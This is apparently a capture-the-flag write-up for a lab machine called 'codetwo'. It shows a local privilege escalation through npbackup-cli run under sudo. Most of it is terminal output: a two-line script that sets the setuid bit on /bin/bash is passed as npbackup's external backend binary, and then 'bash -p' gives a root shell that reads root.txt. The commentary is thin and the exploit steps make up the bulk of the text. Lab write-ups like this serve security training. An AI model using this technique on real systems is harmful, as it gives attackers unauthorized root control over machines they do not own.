marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli
2
2025-08-17 10:41:36,379 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
3
2025-08-17 10:41:36,379 :: CRITICAL :: Cannot run without configuration file.
4
2025-08-17 10:41:36,385 :: INFO :: ExecTime = 0:00:00.008395, finished, state is: critical.
5
marco@codetwo:~$

In Marco home dir we already have npbackup.conf config file

lets run that npbackup.conf

1
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf -b --force
2
2025-08-17 10:43:24,391 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
3
2025-08-17 10:43:24,420 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
4
2025-08-17 10:43:24,431 :: INFO :: Running backup of ['/home/app/app/'] to repo default
5

6
2025-08-17 10:43:25,581 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
7
2025-08-17 10:43:25,581 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
8
2025-08-17 10:43:25,581 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
9
2025-08-17 10:43:25,581 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
10
2025-08-17 10:43:25,582 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
11
2025-08-17 10:43:25,582 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
12
2025-08-17 10:43:25,582 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
13
2025-08-17 10:43:25,582 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
14
2025-08-17 10:43:25,582 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
15
using parent snapshot 35a4dac3
16

17
Files:           1 new,     3 changed,     8 unmodified
18
Dirs:            0 new,     7 changed,     2 unmodified
19
Added to the repository: 23.712 KiB (5.173 KiB stored)
20

21
processed 12 files, 42.465 KiB in 0:00
22
snapshot b7d09d1f saved
23
2025-08-17 10:43:26,840 :: INFO :: Backend finished with success
24
2025-08-17 10:43:26,842 :: INFO :: Processed 42.5 KiB of data
25
2025-08-17 10:43:26,842 :: ERROR :: Backup is smaller than configured minmium backup size
26
2025-08-17 10:43:26,843 :: ERROR :: Operation finished with failure
27
2025-08-17 10:43:26,843 :: INFO :: Runner took 2.413698 seconds for backup
28
2025-08-17 10:43:26,843 :: INFO :: Operation finished
29
2025-08-17 10:43:26,849 :: INFO :: ExecTime = 0:00:02.460913, finished, state is: errors.
30
marco@codetwo:~$
31
marco@codetwo:~$

It try to make a backup of [‘/home/app/app/”] to repo default
But fails because Backup is smaller than configured minmium backup size

Exploiting npbackup-cli to Access Root Files

1 Overview

npbackup-cli is a backup utility that allows configuration via YAML files (npbackup.conf). Each repository configuration can define backup sources, retention policies, and hooks (post-execution commands).

When npbackup-cli is run with sudo, post-execution commands run as root. If an attacker can modify the config, they can execute arbitrary commands with root privileges.

Malicious Configuration

The malicious configuration keeps the original repository metadata and credentials intact but modifies the backup source and injects commands to extract the root flag:

steps

create a file and add this content

1
marco@codetwo:~$ nano test
2
marco@codetwo:~$ cat test
3
#!/bin/bash
4
chmod u+s /bin/bash
5
marco@codetwo:~$ chmod 755 /home/marco/test
6
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli --config /home/marco/npbackup.conf --external-backend-binary=/home/marco/test-b --repo-name default
7
2025-08-17 10:52:51,219 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
8
2025-08-17 10:52:51,249 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
9
2025-08-17 10:52:51,264 :: CRITICAL :: External backend binary /home/marco/test-b cannot be found.
10
2025-08-17 10:52:51,271 :: INFO :: ExecTime = 0:00:00.054665, finished, state is: critical.
11
^[[Dmarco@codetwo:~$ sudo /usr/local/bin/npbackup-cli --config /home/marco/npbackup.conf --external-backend-binary=/home/marco/test -b --repo-name default
12
2025-08-17 10:52:55,725 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
13
2025-08-17 10:52:55,752 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
14
2025-08-17 10:52:55,819 :: ERROR :: Runner: Function backup failed with: 'NoneType' object has no attribute 'strip'
15
2025-08-17 10:52:55,819 :: ERROR :: Trace:
16
Traceback (most recent call last):
17
  File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 698, in wrapper
18
    return fn(self, *args, **kwargs)
19
  File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 496, in wrapper
20
    result = fn(self, *args, **kwargs)
21
  File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 674, in wrapper
22
    result = fn(self, *args, **kwargs)
23
  File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 625, in wrapper
24
    return fn(self, *args, **kwargs)
25
  File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 566, in wrapper
26
    return fn(self, *args, **kwargs)
27
  File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 636, in wrapper
28
    result = self._apply_config_to_restic_runner()
29
  File "/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py", line 963, in _apply_config_to_restic_runner
30
    self.restic_runner.binary = self.binary
31
  File "/usr/local/lib/python3.8/dist-packages/npbackup/restic_wrapper/__init__.py", line 585, in binary
32
    version = self.binary_version
33
  File "/usr/local/lib/python3.8/dist-packages/npbackup/restic_wrapper/__init__.py", line 599, in binary_version
34
    return output.strip()
35
AttributeError: 'NoneType' object has no attribute 'strip'
36
2025-08-17 10:52:55,823 :: ERROR :: Cannot decode JSON from restic data: the JSON object must be str, bytes or bytearray, not bool
37
2025-08-17 10:52:55,823 :: ERROR :: Cannot find processed bytes: 'total_bytes_processed'
38
2025-08-17 10:52:55,823 :: ERROR :: Backend finished with errors.
39
2025-08-17 10:52:55,823 :: WARNING :: Cannot get exec time from environment
40
2025-08-17 10:52:55,823 :: ERROR :: Operation finished
41
2025-08-17 10:52:55,829 :: INFO :: ExecTime = 0:00:00.106691, finished, state is: errors.
42
marco@codetwo:~$ ls
43
backups  npbackup.conf  test  user.txt
44
marco@codetwo:~$ bash -p
45
bash-5.0# cd /root
46
bash-5.0# ls
47
root.txt  scripts
48
bash-5.0# cat root.txt
49
1b9acae4d1c52171f24xxxxxxxx
50
bash-5.0#

And Boom We Got Root flag 1b9acae4d1c52171f24xxxxxxxx